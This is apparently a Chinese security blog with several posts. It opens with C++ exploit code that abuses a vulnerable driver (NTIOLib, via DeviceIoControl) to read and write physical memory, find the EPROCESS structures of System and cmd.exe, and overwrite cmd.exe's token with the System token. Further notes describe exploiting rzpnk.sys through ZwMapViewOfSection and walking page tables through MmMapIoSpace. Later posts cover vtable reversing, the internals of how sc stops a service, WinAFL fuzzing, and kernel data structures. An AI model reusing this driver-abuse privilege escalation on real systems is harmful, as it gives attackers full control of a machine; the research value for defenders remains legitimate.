        CoUninitialize();
        return;
    }

    if (FAILED(CoSetProxyBlanket(pSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL, RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE)))
    {
        pSvc->Release();
        pLoc->Release();
        CoUninitialize();
        return;
    }

    IEnumWbemClassObject* pEnumerator = NULL;
    if (FAILED(pSvc->ExecQuery(bstr_t("WQL"), bstr_t("SELECT * FROM Win32_DeviceMemoryAddress"), WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY, NULL, &pEnumerator)))
    {
        pSvc->Release();
        pLoc->Release();
        CoUninitialize();
        return;
    }

    std::vector<std::pair<uint64_t, uint64_t>> ranges;
    IWbemClassObject *pclsObj = NULL;
    ULONG uReturn = 0;
    while (pEnumerator)
    {
        HRESULT hr = pEnumerator->Next(WBEM_INFINITE, 1, &pclsObj, &uReturn);
        if (0 == uReturn)
        {
            break;
        }

        VARIANT vtProp;
        pclsObj->Get(L"StartingAddress", 0, &vtProp, 0, 0);
        uint64_t startAddr = 0;
        swscanf_s(vtProp.bstrVal, L"%lld", &startAddr);
        VariantClear(&vtProp);

        pclsObj->Get(L"EndingAddress", 0, &vtProp, 0, 0);
        uint64_t endAddr = 0;
        swscanf_s(vtProp.bstrVal, L"%lld", &endAddr);
        VariantClear(&vtProp);

        pclsObj->Release();
        ranges.push_back(std::pair<uint64_t, uint64_t>(startAddr, endAddr + 1));
        //printf("%0I64X %0I64X\n", startAddr, endAddr);
    }
    //insert dummy range <0xF0000000, 0xFFFFFFFF>
    ranges.push_back(std::pair<uint64_t, uint64_t>(0xF0000000LL, 0x100000000LL));

    std::sort(ranges.begin(), ranges.end());
    auto it = ranges.begin();
    std::pair<uint64_t, uint64_t> current = *(it)++;
    while (it != ranges.end())
    {
        if (current.second >= it->first)
        {
            current.second = max(current.second, it->second);
        }
        else
        {
            hardwareMappings[current.first] = current.second - current.first;
            current = *(it);
        }
        it++;
    }
    hardwareMappings[current.first] = current.second - current.first;

    pSvc->Release();
    pLoc->Release();
    pEnumerator->Release();
    CoUninitialize();
}
bool writePhMem(HANDLE hDevice, b8 destPhAddr, b8 b8Value);
HANDLE getDriverHandle();
b8 elevatePriv(HANDLE hDev,std::unordered_map<uint64_t, uint64_t> hwHole);

bool mapPhMem(HANDLE hDevice, b8 phStart, b4 size);
int main() {
    HANDLE hDevice = getDriverHandle();
    // Output buffer 1KB
    LPVOID OutBuffer = VirtualAlloc(
        nullptr,
        STEP,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );

    if (!OutBuffer) {
        std::cout << "\n[!] Failed to allocate output buffer.\n";
        CloseHandle(hDevice);

    }
    GMemBuffer = (b1*)OutBuffer;

    std::unordered_map<uint64_t, uint64_t> mapping;
    // 枚举出来所有的设备内存范围，不然读取到这些内存地址会直接导致蓝屏
    getHardwareMappings(mapping);
    for (const auto& pair : mapping) {
        printf("0x%p -> 0x%p\n\n", pair.first, pair.second);
    }
    system("pause");
    // 然后就可以和驱动交互来读写内存了
    printf("trying to elvate my privilege\n");
    elevatePriv(hDevice,mapping);
    return 0;
} 
b8 elevatePriv(HANDLE hDev,std::unordered_map<uint64_t, uint64_t> hwHole) {

    b8 systemToken = 0;
    b8 cmdTokenPhAddr = 0;
    // 基本思想就是扫描整块物理内存，来定位系统进程的EPROCESS
    // 但是我们要调过硬件内存区域
    b8 phMemSize;
    // 获取系统上安装的物理内存的大小 单位是kb 1024bytes
    GetPhysicallyInstalledSystemMemory(&phMemSize);
    // 那么物理内存地址的最大值应该是
    // 每次读取一个内存页 4kb
    b4 step = STEP;
    for (b8 i = 0; i < phMemSize * 1024; i += step) {
        // 跳过硬件范围
        auto it = hwHole.find(i);
        if (it != hwHole.end())
            i += it->second;
        if (!mapPhMem(hDev, i, step)) {
            printf("read physical mem failed\n");
            continue;
        }
        printf("start addr: 0x%p\n", i);
        // 读取内存
        // GMemBuffer
        // 这里涉及了一些关于windows内存的知识
        printf("mem succeed\n");
        // EPROCESS所在的内存中有一个tag，就是Proc，翻译成b4就是    636F7250
        for (b4 j=0;j< STEP -4;j++) {
            // 这里需要注意，如果j+4已经超过了0x1000，就要终止循环了
            if (*(b4*)(GMemBuffer + j) == 0x636F7250) {
                printf("located eprocess mem region\n");

                if (!strcmp((char*)(GMemBuffer + j + SYSTEM_IMAGE_NAME_OFFSET), SYSTEM_IMAGE_NAME)) {
                    systemToken = *(b8*)(GMemBuffer + j + SYSTEM_TOKEN_OFFSET);
                    printf("system token get: 0x%p\n", systemToken);
                    if(cmdTokenPhAddr) 
                        goto END;
                }
                else if (!strcmp((char*)(GMemBuffer + j + CMD_IMAGE_NAME_OFFSET), CMD_IMAGE_NAME)) {
                    // 记住物理内存地址
                    cmdTokenPhAddr = i;
                    printf("cmd.exe token physical address get: 0x%p\n", i);
                    if (systemToken)
                        goto END;
                }
            }
        }
    }
END:
    // TODO
    // 这里需要进行写入
    writePhMem(hDev, cmdTokenPhAddr, systemToken);
    return 0;
}
bool writePhMem(HANDLE hDevice, b8 destPhAddr, b8 b8Value) {
    unsigned char InBuffer[0x18] = { 0 };
    *(reinterpret_cast<INT64*>(&InBuffer[0])) = destPhAddr;
    *(reinterpret_cast<INT64*>(&InBuffer[0x10])) = destPhAddr;
    *(reinterpret_cast<INT64*>(&InBuffer[0xc])) = 8;



    // Ptr receiving output byte count
    DWORD BytesReturned = 0;


    BOOL CallResult = DeviceIoControl(
        hDevice,
        0xC3506104,
        InBuffer,
        sizeof(InBuffer), 
        GMemBuffer, // outbuffer随便填，因为根本就用不到
        8,
        &BytesReturned,
        nullptr
    );

    if (!CallResult) {
        std::cout << "\n[!] DeviceIoControl failed..\n";
        printf("error code: 0x%x\n", GetLastError());
        return 0;
        CloseHandle(hDevice);

    }
    return 1;
}
HANDLE getDriverHandle() {
    HANDLE hDevice = CreateFileA(
        "\\\\.\\NTIOLib_ACTIVE_X",
        FILE_READ_ACCESS | FILE_WRITE_ACCESS,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        nullptr,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
        nullptr
    );

    if (hDevice == INVALID_HANDLE_VALUE) {
        std::cout << "\n[!] Unable to get driver handle..\n";
        printf("error code: 0x%x\n", GetLastError());
        return 0;
    }
    else {
        std::cout << "\n[>] Driver access OK..\n";
        std::cout << "[+] lpFileName: \\\\.\\NTIOLib_ACTIVE_X => ntiolib_x64\n";
        std::cout << "[+] Handle: " << hDevice << "\n";
    }
    return hDevice;
}
bool mapPhMem(HANDLE hDevice,b8 phStart,b4 size) {
    unsigned char InBuffer[0x10] = { 0 };
    // inBuffer的0x8存一个b4，值为1，指示驱动将映射出来的物理内存拷贝到我们传过去的buffer中
    // outBuffer将存储映射出来的物理内存
    // inBuffer的0xC存一个b4作为要映射的size
    // inBuffer的0存一个b8，作为物理内存的开始地址
    *(reinterpret_cast<INT64*>(&InBuffer[0])) = phStart;
    *(reinterpret_cast<INT64*>(&InBuffer[8])) = 1;
    *(reinterpret_cast<INT64*>(&InBuffer[0xc])) = size;



    // Ptr receiving output byte count
    DWORD BytesReturned = 0;


    BOOL CallResult = DeviceIoControl(
        hDevice,
        0xC3506104,
        InBuffer,
        sizeof(InBuffer),
        GMemBuffer,
        size,
        &BytesReturned,
        nullptr
    );

    if (!CallResult) {
        std::cout << "\n[!] DeviceIoControl failed..\n";
        printf("error code: 0x%x\n", GetLastError());
        return 0;
        CloseHandle(hDevice);

    }  
    printf("bytes count read out: 0x%x\n", BytesReturned);
    return 1;
}

虽然没有办法稳定利用MmMapIoSpace ，但是我们可以稳定利用ZwMapViewOfSection

rzpnk.sys的iocode 22a064可以到达zwmapviewofsection函数，并可以直接控制handle参数，映射结果会返回给outbuffer

sub_17840

ZwMapViewOfSection(a3, ProcessHandle, BaseAddress, 0i64, a4, 0i64, (PSIZE_T)v11, ViewUnmap, 0, 0x40u);

其中a3为inbuffer的0x10（section handler），a4为inbuffer的0x20（CommitSize）

也就是说我们可以控制ZwMapViewOfSection函数的handler参数和commit size参数，以及第7个参数ViewSize，由我们的a4控制，也就是可以控制实际上要映射多大的内存出来，我们直接指定a4为0即可映射整个section

映射结果baseaddress作为caller的第五个参数直接写回到outbuffer的0x18

那么我们现在只需要获取到位于pid 4即system进程的physicalmemory section的句柄值即可

我们先使用老版本的processhacker（密码是1）看一下这个section的句柄值

0x550和0x574都是可以的，当然在实际的利用环境中我们是没有办法提前知道这个section的handle value的，这里只是为了获取当前操作系统版本的section类型的index值

使用这个代码，输出如下：

好了，我们现在知道section类型的index值是42了

但是还有一个问题，就是system进程中有很多section，我们用户模式下是无法知道每个handle对应的名称的，但是通过我的观察，\Device\PhysicalMemory的handle值是比较靠前的，如果将所有的section handle按照升序排列，那么在前十个里面肯定可以找到\Device\PhysicalMemory

那么我们来试着写一下代码

我们好像不能把ViewSize指定为0，因为我们没有办法接收返回参数，我们只能传入，无法获取传出的值

那么我们只能把a4写成当前机器的物理内存大小了，但是我们只能使用dword来指定，dword最大只能描述4GB的内存，如果机器超过4gb的物理内存就不行了，我想到一个办法，那就是先指定物理内存大小，如果超过4GB就指定4gb，然后使用前10个handle value进行调用，如果不是\Device\PhysicalMemory应该会返回STATUS_INVALID_VIEW_SIZE 0xC000001F（存储在outbuffer的0x28），我先来测试一下

inbuffer和outbuffer的size要超过0x30

验证成功：代码

这样我们就获得了\Device\PhysicalMemory的句柄值，我们使用这个句柄值重新映射，这次传入viewsize为0

我靠，我指定0，他说我内存不够，错误代码c0000017，那算了，我还是直接指定实际的内存值吧

定位到cmd.exe的eprocess

演示视频

代码

演示视频中可以看到最后cmd进程的token和system的token值并不是完全一样的，这个我也不太清楚是为啥

反正可以正常提权就行

MmMapIoSpace利用 windows 1803版本之前可以用

要利用这个东西，需要首先弄清楚windows的分页机制

参考

虚拟地址到物理地址的转换

使用如下脚本可以将虚拟地址转换成上面4个表的offset和最后的offset的形式：

def parse_virtual_address(addr_str):
    # Convert hex string to 64-bit integer
    addr = int(addr_str, 16)

    # Masks and shifts based on bit positions
    offset_mask = 0xFFF
    pt_mask = 0x1FF << 12
    pd_mask = 0x1FF << 21
    pdpt_mask = 0x1FF << 30
    pml4_mask = 0x1FF << 39
    sign_mask = 0xFFFF << 48

    # Extract parts
    offset = addr & offset_mask
    pt = (addr & pt_mask) >> 12
    pd = (addr & pd_mask) >> 21
    pdpt = (addr & pdpt_mask) >> 30
    pml4 = (addr & pml4_mask) >> 39
    sign = (addr & sign_mask) >> 48

    print(f"Address: {addr_str}")
    print(f"Sign Extension: {sign:#06x}")
    print(f"PML4 Index     : {pml4:#05x}")
    print(f"PDPT Index     : {pdpt:#05x}")
    print(f"PD Index       : {pd:#05x}")
    print(f"PT Index       : {pt:#05x}")
    print(f"Offset         : {offset:#05x}")


# Example usage
parse_virtual_address("ffffc8024fb7d5c0")

转换结果：

Address: ffffc8024fb7d5c0
Sign Extension: 0xffff
PML4 Index     : 0x190
PDPT Index     : 0x009
PD Index       : 0x07d
PT Index       : 0x17d
Offset         : 0x5c0

计算过程：

kd> !process 0 0 lsass.exe
PROCESS ffffc8024fb7d5c0
    SessionId: 0  Cid: 031c    Peb: 6103bfb000  ParentCid: 0294
    DirBase: 39aff000  ObjectTable: ffff9c88e17caa80  HandleCount: 980.
    Image: lsass.exe

获得cr3 value即DirBase：39aff000，这个就是PML4T的base，使用PML4 index 0x190计算出PML4E

在windbg中可以使用!dq查看DWORD64

kd> !dq 39aff000  +190*8 l1
#39affc80 0a000000`013d1863

计算PDPT的base，起始就是用PML4E里面存的值和0xFFFFF000做与操作

kd> ? 0a000000`013d1863&0xFFFFF000
Evaluate expression: 20779008 = 00000000`013d1000

使用PDPT index 0x9和PDPT base 0x13d1000计算PDPE里面存的值，顺便计算出PDT的base

kd> !dq 013d1000+9*8 l1
# 13d1048 0a000000`013d0863
kd> ?0xFFFFF000&0a000000`013d0863
Evaluate expression: 20774912 = 00000000`013d0000

使用PDT Index : 0x07d计算PDE里面存的值并计算出PT的base

kd> !dq 013d0000+7d*8 l1
# 13d03e8 0a000000`1e4f8863
kd> ?0a000000`1e4f8863&0xFFFFF000
Evaluate expression: 508526592 = 00000000`1e4f8000

使用PT Index : 0x17d计算PTE里面存的值并计算出最终的base

kd> !dq 1e4f8000+8*17d l1
#1e4f8be8 8a000000`1bc97963
kd> ? 8a000000`1bc97963&0xFFFFF000
Evaluate expression: 466186240 = 00000000`1bc97000

这个base加上最终的offset 0x5c0就是虚拟地址ffffc8024fb7d5c0对应的物理地址

kd> !dq 1bc97000+0x5c0 l4
#1bc975c0 00000000`00b60003 ffffc802`4fb71e50
#1bc975d0 ffffc802`4fb71e50 ffffc802`4fb7d5d8
kd> dqs ffffc8024fb7d5c0 l4
ffffc802`4fb7d5c0  00000000`00b60003
ffffc802`4fb7d5c8  ffffc802`4fb71e50
ffffc802`4fb7d5d0  ffffc802`4fb71e50
ffffc802`4fb7d5d8  ffffc802`4fb7d5d8

我们的目标是System进程的cr3，System的EP地址可以使用如下代码获取

可以看到System进程EP非常好找，他的handle value就是windows系统的第一个handle 4

而且System的cr3相对于其他进程的cr3非常小

步长0x1000，搜索1a0到1b0

使用前面获取的EP虚拟地址翻译出来物理地址，然后查看ImageFileName是不是System来确定是否找到了正确的cr3

large page

在页表转换的时候需要考虑到一种特殊情况，那就是large page

参考

PAT标志位位于bit 7

一般出现在PDE中，比如windows的System进程的cr3就在PDE这一层启用了large page

所以我们需要在到达PDE这一层级的时候检测是否启用了large page

提权

前面我们已经枚举出了system的ep物理地址，下面我们再来枚举cmd进程的ep物理地址，我们先使用这个代码看一下thread对象类型的index值

可以看到thread类型的index值为8，然后我们就可以使用这个代码获取到我们目标cmd进程的其中一个thread对象的内核地址

我们不用枚举目标进程的cr3，因为不管是ethread还是eprocess都是内核的数据结构，属于是System进程的东西，就还是使用system的cr3进行虚拟地址的翻译即可

本代码仅适用于windows 1709版本，因为我用到了eprocess和kthread的偏移量，我是硬编码在代码中的

代码

演示视频

在挂了内核调试器利用MmMapIoSpace会崩溃的解决方案

关闭调试模式即可，如果一定要使用调试器，请往下看

参考

关于高版本windows cr3无法被MmMapIoSpace访问的问题

尝试使用Mmmapiospacey映射PML4E会返回0

下面提到的cr3其实是cr3/0x1000

发生错误的地方是这里

正常是相等的，我们的不相等，我直接手动把这一块的内存指令修改了，可以正常利用

poi(cr3*6*8+poi(nt!MiFillSystemPtes+0x2d6+2)) >> 0xD & FFFFFFFFFFFFFFF0 | FFFF800000000000

这个结果必须为FFFF800000000030h

其实说白了就是poi(cr3*6*8+poi(nt!MiFillSystemPtes+0x2d6+2))的值必须位于60000~6ffff

反正所有的cr3都是不符合这个条件的

poi(nt!MiFillSystemPtes+0x2d6+2)其实就是nt!MmPfnDatabase

虽然我们没有直接在os的代码中看到，但是计算出来的mmpfn中的mmpte的内容，PML4E正好是落在PTE指示的table base范围内的

C++ class reverse

2025-03-12T00:00:00+01:00

references:

https://alschwalm.com/blog/static/2016/12/17/reversing-c-virtual-functions/

here is a demo source file

here is the compiled binary

it is a x86 exe

the main function of it is sub_402A60

virtual function table of these three class begin from 40AB34

you can see two _purecall function in father class:

they're corresponding to these two lines in source code:

normally, only virtual function in base class have this function defined, here is the code of _purecall：

//
// purevirt.cpp
//
//      Copyright (c) Microsoft Corporation. All rights reserved.
//
// The _purecall handler, called by compiler-generated code when a pure virtual
// call occurs.
//
#include <vcruntime_internal.h>
#include <stdlib.h>



extern "C" extern _purecall_handler __pPurecall;



extern "C" int __cdecl _purecall()
{
    _purecall_handler const purecall_handler = _get_purecall_handler();
    if (purecall_handler != nullptr)
    {
        purecall_handler();

        // The user-registered purecall handler should not return, but if it does,
        // continue with the default termination behavior.
    }

    abort();
}

extern "C" _purecall_handler __cdecl _set_purecall_handler(
    _purecall_handler const new_handler
    )
{
    return __crt_fast_decode_pointer(
        __crt_interlocked_exchange_pointer(
            &__pPurecall,
            __crt_fast_encode_pointer(new_handler)));
}

extern "C" _purecall_handler __cdecl _get_purecall_handler()
{
    return __crt_fast_decode_pointer(__crt_interlocked_read_pointer(&__pPurecall));
}

in the main function, we can see sub_4010E1 is being called for allocate 4h bytes memory

this is the implementation of this function, it is just a wrapper of malloc:

void *__cdecl sub_402CB0(size_t Size)
{
  void *v2; // [esp+0h] [ebp-4h]

  while ( 1 )
  {
    v2 = malloc(Size);
    if ( v2 )
      break;
    if ( !callnewh(Size) )
    {
      if ( Size == -1 )
        sub_401357();
      sub_4010DC();
    }
  }
  return v2;
}

then, the new allocated memory is pass either to sub_40125D or sub_401316, depends on the rand() return value, these two function is actually the Dog and Cat class constructor

in IDA, we can see that this memory will finally be assigned with the correspond class virtual function table:

after class constructor call, member function walk will be called, we can not see the actual function address being called, it is called from a register:

so v5 is now the class object, based on the constructor function code, we know *v5 is virtual function table, and 8h offset of it is the 3rd function in vftable, which is depends on the which class is this vftable belongs to, it is decided in runtime, it will either call dog's walk or cat's walk

because neither Dog nor Cat implement move function, so the last entry in the vftable of all three class is the same

now let's define their structure:

then we need to create a structure of every vfptr of them

then we set the vfptr to the correct type for these three class

then we set set for variable in IDA, we can either set v5 to dogs* or cats*

SC是如何卸载驱动的

2024-12-14T00:00:00+01:00

最近由于项目原因，需要实现一个驱动的自我保护，即禁止其他人使用sc stop servicename的方式关停我的驱动，因此就有了这一篇文章

我准备通过研究卡巴斯基的代码来看看他是如何实现自我保护的

可以看到卡巴这里直接显示SC对自己的服务无效，我就是想要达到这种效果

首先使用windbg调试sc.exe

把sc.exe拖到ida里面，查找关键函数调用，首先看WMAIN函数，然后再进入Woker函数

在Worker函数中可以看到SC的命令行选项之一query

再往下看就能看到stop选项，那么我们现在就进入SendControlToService函数

根据实际动态调试，我们会在这个地方失败，该函数返回值为0表示失败

这个函数是一个导入函数，他是一个动态加载的函数

我们需要在WINDBG中通过动态调试来找到这个Helper2函数的地址

定位到该函数实际上就是sechost!ControlService

那么现在我们把sechost.dll拖到IDA中，看一下这个函数

可以看到最终就是发送了一个RPC来对服务进行控制的，那么现在问题来了，我们要怎么才能找到这个RPC服务的服务端进程是谁呢？以及是该进程中的哪个函数负责处理的呢？

要想解答这个问题，我们就需要逆向一下这个函数来看看他是如何工作的，妈的这个好难分析啊

通过跟踪RPCMSG结构体，最终可以定位到发送位置为NtAlpcSendWaitReceivePort，调用栈如下：

0:000> k
 # Child-SP          RetAddr               Call Site
00 000000e5`8627ed90 00007ffb`17f63fc1     RPCRT4+0x46e6b
01 000000e5`8627ee40 00007ffb`17f792a7     RPCRT4+0x43fc1
02 000000e5`8627ee90 00007ffb`17f217c0     RPCRT4+0x592a7
03 000000e5`8627eec0 00007ffb`17f224bf     RPCRT4+0x17c0
04 000000e5`8627f4e0 00007ffb`1790e964     RPCRT4+0x24bf
05 000000e5`8627f510 00007ff6`781f9741     sechost+0xe964
06 000000e5`8627f560 00007ff6`781f3d88     sc+0x9741
07 000000e5`8627f630 00007ff6`781f1074     sc+0x3d88
08 000000e5`8627f790 00007ff6`781f210d     sc+0x1074
09 000000e5`8627f7c0 00007ffb`175a7614     sc+0x210d
0a 000000e5`8627f800 00007ffb`182c26a1     KERNEL32!BaseThreadInitThunk+0x14
0b 000000e5`8627f830 00000000`00000000     ntdll!RtlUserThreadStart+0x21

该函数对应的系统调用为

根据字段名称可以推测这个应该就是接收方的ALPC_PORT

查看该PORT的OwnerProcess

可以看到，接收方的进程为services.exe，那么我们只需要在nt!AlpcpReceiveMessage下断点，并限定进程为services.exe即可

可以看到他的ALPC PORT的名称为NTSVCS

把services.exe拖到IDA里面去看

这里有一个RPC的示例项目，可以帮助我们更好的理解windows的RPC是如何工作的

根据示例项目中的RPCServer.exe的逆向分析：

提供给客户端调用的函数是SendReverseShell，那么我们就看这个函数的交叉引用

最终定位到红框部分

再来查看红框部分的交叉引用，定位到这个地方

最后这个东西的引用位置是RpcServerRegisterIf2函数的第一个参数

那么我们照猫画虎来分析services.exe，我们前面已经知道他的ALPC的名称叫做NTSVCS，那么就可以定位到这个地方

根据前面对RPCServer.exe的分析，那么下图中的unk_140082380就是关键位置

最终我们定位到如下远程调用函数列表

根据函数名可知，我们要的函数就是RControlService

现在我们就可以继续分析了

但是我没有办法调试services.exe进程，即使摘掉了他的PPL保护我还是没办法调试

内核调试器中使用/p下的断点也无法被触发

最终我还是使用了内核调试的方式来对services.exe进程进行的调试，首先，我在内核调试器中定义如下断点：

bp /p ffff928a5717b0c0 ntopenfile

其中ffff928a5717b0c0为services.exe进程的EPROCESS地址

经过漫长的等待之后，断点终于触发，得到如下调用栈：

kd> k
 # Child-SP          RetAddr               Call Site
00 ffff8600`60a29a88 fffff803`85611d05     nt!NtOpenFile
01 ffff8600`60a29a90 00007ff8`7a86dbc4     nt!KiSystemServiceCopyEnd+0x25
02 000000b2`4237cf18 00007ff8`7a828b5e     ntdll!NtOpenFile+0x14
03 000000b2`4237cf20 00007ff8`7a8289d2     ntdll!LdrpMapResourceFile+0x112
04 000000b2`4237d030 00007ff8`7a80533c     ntdll!LdrMapAndVerifyResourceFile+0x9a
05 000000b2`4237d0b0 00007ff8`7a8058ac     ntdll!LdrLoadAlternateResourceModuleEx+0x49c
06 000000b2`4237dbc0 00007ff8`7a803d98     ntdll!LdrpLoadResourceFromAlternativeModule+0x1ec
07 000000b2`4237dd30 00007ff8`7a823c45     ntdll!LdrpSearchResourceSection_U+0x1cc
08 000000b2`4237dea0 00007ff8`7846bc09     ntdll!RtlLoadString+0x105
09 000000b2`4237df60 00007ff8`7846919b     KERNELBASE!LoadStringByReference+0x499
0a 000000b2`4237e300 00007ff6`4f59b855     KERNELBASE!RegLoadMUIStringW+0x18b
0b 000000b2`4237e390 00007ff6`4f59b548     services!ScRegLoadMUIString+0x81
0c 000000b2`4237e830 00007ff6`4f59b617     services!ScReadStringIndirect+0x64
0d 000000b2`4237e890 00007ff6`4f59b169     services!ScReadAndTranslateString+0x83
0e 000000b2`4237e900 00007ff6`4f59b047     services!CServiceRecord::ReadDisplayNameFromRegistry+0x79
0f 000000b2`4237e940 00007ff6`4f59adf3     services!CServiceRecord::ReadDisplayName+0x17
10 000000b2`4237e970 00007ff6`4f599d1a     services!CServiceRecord::GetJITReadDisplayName+0x2b
11 000000b2`4237e9a0 00007ff6`4f58988f     services!CWin32ServiceRecord::SendControl+0xca
12 000000b2`4237ece0 00007ff6`4f593939     services!CWin32ServiceRecord::StartInternal+0xcbf
13 000000b2`4237eec0 00007ff6`4f5935ca     services!CServiceRecord::Start+0x99
14 000000b2`4237ef20 00007ff6`4f592b18     services!ScStartMarkedServicesInServiceSet+0x182
15 000000b2`4237efb0 00007ff6`4f5924fa     services!ScStartServicesInStartList+0x200
16 000000b2`4237f080 00007ff6`4f586101     services!ScStartServiceAndDependencies+0x1d6
17 000000b2`4237f150 00007ff8`79c9a2d3     services!RStartServiceW+0x101
18 000000b2`4237f1d0 00007ff8`79c325a7     RPCRT4!Invoke+0x73
19 000000b2`4237f230 00007ff8`79c80c3a     RPCRT4!NdrStubCall2+0x3f7
1a 000000b2`4237f580 00007ff8`79c7b128     RPCRT4!NdrServerCall2+0x1a
1b 000000b2`4237f5b0 00007ff8`79c58146     RPCRT4!DispatchToStubInCNoAvrf+0x18
1c 000000b2`4237f600 00007ff8`79c57a98     RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x1a6
1d 000000b2`4237f6e0 00007ff8`79c650af     RPCRT4!RPC_INTERFACE::DispatchToStub+0xf8
1e 000000b2`4237f750 00007ff8`79c644b8     RPCRT4!LRPC_SCALL::DispatchRequest+0x31f
1f 000000b2`4237f820 00007ff8`79c63aa1     RPCRT4!LRPC_SCALL::HandleRequest+0x7f8
20 000000b2`4237f930 00007ff8`79c6350e     RPCRT4!LRPC_ADDRESS::HandleRequest+0x341
21 000000b2`4237f9d0 00007ff8`79c67b62     RPCRT4!LRPC_ADDRESS::ProcessIO+0x89e
22 000000b2`4237fb10 00007ff8`7a7f0330     RPCRT4!LrpcIoComplete+0xc2
23 000000b2`4237fbb0 00007ff8`7a81d566     ntdll!TppAlpcpExecuteCallback+0x260
24 000000b2`4237fc30 00007ff8`78fc7374     ntdll!TppWorkerThread+0x456
25 000000b2`4237ff30 00007ff8`7a81cc91     KERNEL32!BaseThreadInitThunk+0x14
26 000000b2`4237ff60 00000000`00000000     ntdll!RtlUserThreadStart+0x21

从这个地方我们可以判断出来，services.exe进程中的远程函数都是通过RPCRT4!Invoke来调用的LL

17 000000b2`4237f150 00007ff8`79c9a2d3     services!RStartServiceW+0x101
18 000000b2`4237f1d0 00007ff8`79c325a7     RPCRT4!Invoke+0x73

准确来说，就是这个地方：LLLL

然后我们在这个地方下断点，当r10为RControlService我们断下来就行了

Windows Binary Fuzz

2024-10-16T00:00:00+02:00

references:

https://bushido-sec.com/index.php/2023/06/25/the-art-of-fuzzing-windows-binaries/

windows下的闭源二进制文件灰盒测试，所谓闭源，就是说我们没有待测试二进制文件的源代码，闭源测试很麻烦，所以搞这个的人比较少，然后能他人之所不能，即是我们自身价值的体现，进行这种类型的模糊测试，我们需要克服以下挑战：

插桩
定位值得被fuzz的函数
修改二进制文件使得其能够被fuzz

我们将会使用WinAFL作为我们的fuzz工具，WinAFL提供了三种插桩方式：

DynamoRIO，在二进制运行过程中对代码进行修改
Syzygy，静态插桩，在二进制编译阶段修改代码
Intel PTrace，硬件追踪，这个是CPU的一个特性，可以以异步的方式跟踪程序执行流

这三种方式各有优劣，我们将主要使用DynamoRIO，DynamoRIO和WinAFL的配合流程如下图所示：

编译WinAFL

1. 下载DynamoRIO，最新版本二进制文件下载地址
1. 如果你需要Intel PTrace支持，你需要在WinAFL源代码目录下执行如下命令：git submodule update --init --recursive
1. 打开VS Command Prompt（VS 2022）
1. 进入WinAFL源码目录
1. 输入如下命令进行构建:
mkdir build64 cd build64 cmake -G "Visual Studio 17 2022" -A x64 .. -DDynamoRIO_DIR=C:\Users\x\Downloads\DynamoRIO-Windows-11.90.20133\cmake -DINTELPT=1 -DUSE_COLOR=1 cmake --build . --config Release

寻找要Fuzz的目标

一个比较有效的方法是在ZDI网站上寻找目标，特别是那种以前出过洞且仍然处于活跃状态的项目

修改程序，使得程序可以被fuzz

有些程序会有一些烦人的弹窗，这个时候我们就需要把这些弹窗给patch掉，省得他影响我们的fuzz工具

这里有一个示例程序，解压密码是bushido

这个双击运行之后有一个弹窗，我们需要patch掉这个弹窗，在ida里面打开这个程序，搜索字符串Click Yes or No

我们就直接把这个函数的第一个字节修改成c3，让他直接返回就行了，反正他的caller也不检查返回值

选中要修改的地址，直接patch，然后点击Apply patches to input file应用修改即可

我好像不能直接这样改，我这样改好像把他的栈给损坏了，但是我又不知道我是怎么损坏了他的栈的，这x86的程序好操蛋啊，我都不知道他的calling convention是啥

写了个测试程序，x86的calling convention是这个样子的

说白了，就是倒序push

观察这个地方

可以看到，在call完test函数之后，会使用add esp, 0x18来修复栈，因为我们前面push了6个dword进去，一个DWORD是4bytes，6个正好就是0x18 bytes，我们之前直接把函数修改为ret导致没有人修复栈，所以在最后main函数中返回的时候就崩溃了

不对啊，我修改的是里面按理说对外面的代码是没有影响的呀卧槽

我刚才又仔细调试了一下示例代码，发现我们patch的程序修复了栈，所以我们直接把这个程序修改为ret，会导致最终的main函数在返回时崩溃，所以我们需要换一种patch方式

我们可以将这个函数中的call指令全部修改为nop指令，我靠，这么改也不行，还是会崩溃

仔细观察该函数，发现他最后的返回指令是

就是这条指令修复了栈，我们直接从函数开始的地方复改为者3个字节即可

这下可以了，不崩溃了，栈平衡了，我们再来看一下原作者是怎么patch的

原作者是直接把call 401000替换成nop了，他这样肯定会在返回的时候崩溃，因为这个函数负责平衡栈，没有了这个函数栈就不可能是平衡的

我试了一下，确实是会崩溃

内核数据结构——BitMap

2024-08-12T00:00:00+02:00

references：

https://www.osronline.com/article.cfm%5Earticle=523.htm

BitMap是windows内核开发者使用最多的内核数据结构之一，该数据结构可以帮助我们快速定位到buffer中的bit并进行set和clear操作，比如在listentry中快速查找哪一个entry是free的

内核数据结构——伸展树

2024-03-19T00:00:00+01:00

references：

https://www.osronline.com/article.cfm%5Earticle=516.htm

伸展树是一种二叉搜索树，它可以将最近被访问过的节点平衡为根节点，也就是说最近被访问过的数据在下一次再次被访问时能够很快被搜索到

WDK的ntifs.h文件中包含有RTL_SPLAY_LINK结构体以及操作函数的定义和声明

基础

伸展树由一个或者多个entry定义，每一个entry就是一个节点，每个节点由3个指针组成

Parent
LeftChild
RightChild

这几个指针看名字就知道啥意思

每一个节点由一个伸展树头部RTL_SPLAY_LINKS和用户定义的数据组成

typedef struct _RTL_SPLAY_LINKS {
    struct _RTL_SPLAY_LINKS *Parent;
    struct _RTL_SPLAY_LINKS *LeftChild;
    struct _RTL_SPLAY_LINKS *RightChild;
} RTL_SPLAY_LINKS;
typedef RTL_SPLAY_LINKS *PRTL_SPLAY_LINKS;

RtlInitializeSplayLinks宏用于初始化SplayLinks：

SplayLink->Parent = Parent;
SplayLink->LeftChild = SplayLink->RightChild = NULL;

你也可以自定义伸展树的结构，只要里面插入了伸展树头部即可，就像使用ListEntry一样

typedef struct _MYSPLAYNODE {
    //
    // Splay Link to be used to insert this node
    // into my splay tree.
    //
    RTL_SPLAY_LINKS  SplayInfo;
    //
    // Data definition that I am using to build
    // splay node relationships..
    //
    ULONG   Value;
} RTL_SPLAY_LINKS;
typedef RTL_SPLAY_LINKS *PRTL_SPLAY_LINKS;

节点的添加

3步走：

在树中找到合适的可以插入的位置
将新节点插入到找到的节点的LeftChild或者RightChild
